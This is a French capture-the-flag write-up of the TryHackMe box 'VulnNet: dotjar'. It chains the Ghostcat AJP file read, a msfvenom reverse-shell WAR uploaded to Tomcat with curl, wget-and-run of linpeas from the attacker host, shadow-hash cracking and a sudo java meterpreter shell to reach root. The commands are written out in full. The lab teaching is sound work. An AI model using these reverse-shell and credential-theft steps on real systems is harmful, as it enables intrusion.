VulnNet: dotjar – Write Up – TryHackMe

VulnNet dotjar est une box consacrée à java. Il sera question de l’exploit lié à « CVE-2020-1938 Ghostcat AJP« 

Cette box est similaire à tabby de HackTheBox et à tomghost, thompson de TryHackMe concernant l’exploitation de Tomcat. Je vous proposera d’ici quel temps de mettre ses write-up en ligne

Enumération

L’énumération avec nmap et avec cette commande nmap -T5 -p- 10.10.19.72 nous permet de trouver deux ports ouverts :

  • 8009/tcp open ajp13
  • 8080/tcp open http-proxy

Une fois les ports ouverts déterminés, il faut récupérer la version des services qui tournent dessus avec cette commande nmap : nmap -sV -sC -O -p 8009,8080 10.10.19.72

  • 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
  • 8080/tcp open http Apache Tomcat 9.0.30

Il n’y a qu’une seule voix possible pour exploiter cette box, Tomcat, on va voir par la suite comment trouver et faire fonctionner l’exploit pour obtenir un accès à la machine. 

Initial Foothold

Pour trouver le bon exploit, il faut effectuer une recherche avec Google comprenant les mots clés suivants : tomcat 9.0.3 ajp exploitdb . Cela permet d’obtenir l’exploit suivant : 

Pour récupérer le script de l’exploit, il faut aller sur l’icône {} et copier/coller le contenu dans un fichier que l’on appellera 48143.py

Utilisation du script ( lfi ) et récupération d’informations : 

python 48143.py -p 8009 -f WEB-INF/web.xml 10.10.19.72

Cela nous permet de récupérer les identifiants du compte webdev. À noter que le GUI est inaccessible pour des raisons de sécurité. Ce qui veut dire, que l’on ne pourra pas, se connecter sur l’interface pour upload un shell. En revanche, l’accès via curl est possible. 

Création du shell avec msfvenom : 

msfvenom -p java/shell_reverse_tcp LHOST=10.8.76.250 LPORT=4444 -f war > shell3.war

Upload du shell shell3.war :

curl -u ‘webdev’:’Hgj3LA$02D$Fa@21′ -T shell3.war ‘http://10.10.19.72:8080/manager/text/deploy?path=/shell3.war’

Vérification si upload ok : 

curl -u ‘webdev’:’Hgj3LA$02D$Fa@21′ http://10.10.19.72:8080/manager/text/list

Mise en place d’un listener nc : 

nc -nlvp 4444

Exécution du shell : 

curl -u ‘webdev’:’Hgj3LA$02D$Fa@21′ http://10.10.19.72:8080/shell3.war

Escalade horizontale

Maintenant que l’on a un acces à la machine, on va dans un 1ier temps upgrade notre shell avec les commandes suivante 

whereis python

/usr/bin/python3.6 -c ‘import pty; pty.spawn(« /bin/bash »)’

faitre ctrl + z

web@vulnnet-dotjar:/$ ^Z

A ce moment là, on revient sur notre shell Kali et il faut faire les commandes suivantes : 

stty raw -echo 

fg ( rien n’apparait )

reset

xterm

À partir de là, notre shell est upload avec notamment la complétion qui fonctionne. 

Enumération locale

Afin de reprendre l’énumération locale moins fastidieuse, nous allons utiliser linpeas.sh. Il est disponible ici

Transfert linpeas.sh sur la box :

Pour cela, il faut exécuter cette commande python : python3.9 -m http.server à partir de l’emplacement d’où l’on souhaite émuler un serveur web.

Ensuite, il faut télécharger et exécuter linpeas.sh chez la victime via ces 2 commandes : 

wget http://10.8.76.250:8000/linpeas.sh

bash linpeas.sh

Une fois que linpeas a terminé, dans le résultat qui s’affiche, on peut voir que dans le dossier /var/backup, le fichier shadow-backup-alt.gz est readable par tout le monde. 

Récupération et cassage du hash du compte jdk-admin :

D’abord, on va copier le fichier shadow-backup-alt.gz dans le dossier /tmp :

cp shadow-backup-alt.gz /tmp

cd /tmp

Ensuite, on va le décompresser : 

gunzip shadow-backup-alt.gz

et ensuite on l’ouvre : 

cat shadow-backup-alt

Pour casser le mot de passe, j’utilise hachcat sur windows : 

.\hashcat64.exe -m 1800 -a 0 .\hash2.txt .\rockyou.txt

Le mot de passe est : 794613852

Escalade de privilège

Une fois le mot de passe cracker, on change d’utilisateur avec la commande suivant :

su jdk-admin

Puis on fait la commande suivant pour voir quels sont droits que possèdent l’utilisateur :

sudo -l 

L’utilisateur a des droits root pour exécuter n’importe quel fichier jar

On va créer un shell en jar avec msfvenom :

msfvenom -p java/meterpreter/reverse_tcp LHOST=10.8.76.250 lport=1337 -f raw -o /tmp/java6.jar

On l’upload de la même manière que linpeas.sh

Puis on lance msfconsole :

msfconsole

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set lhost 10.8.76.250

msf6 exploit(multi/handler) > set lport 1337

msf6 exploit(multi/handler) > exploit -j

Une fois metasploit prêt à recevoir le reverse shell, il faut sur la machine victime exécuter en tant que root la commande suivante : 

sudo -u root /usr/bin/java -jar shell.jar

Ce qui a pour effet dans msfconsole de récupérer un shell en root

3 1 voter
Évaluation de l'article
S’abonner
Notifier de
0 Commentaires
Inline Feedbacks
View all comments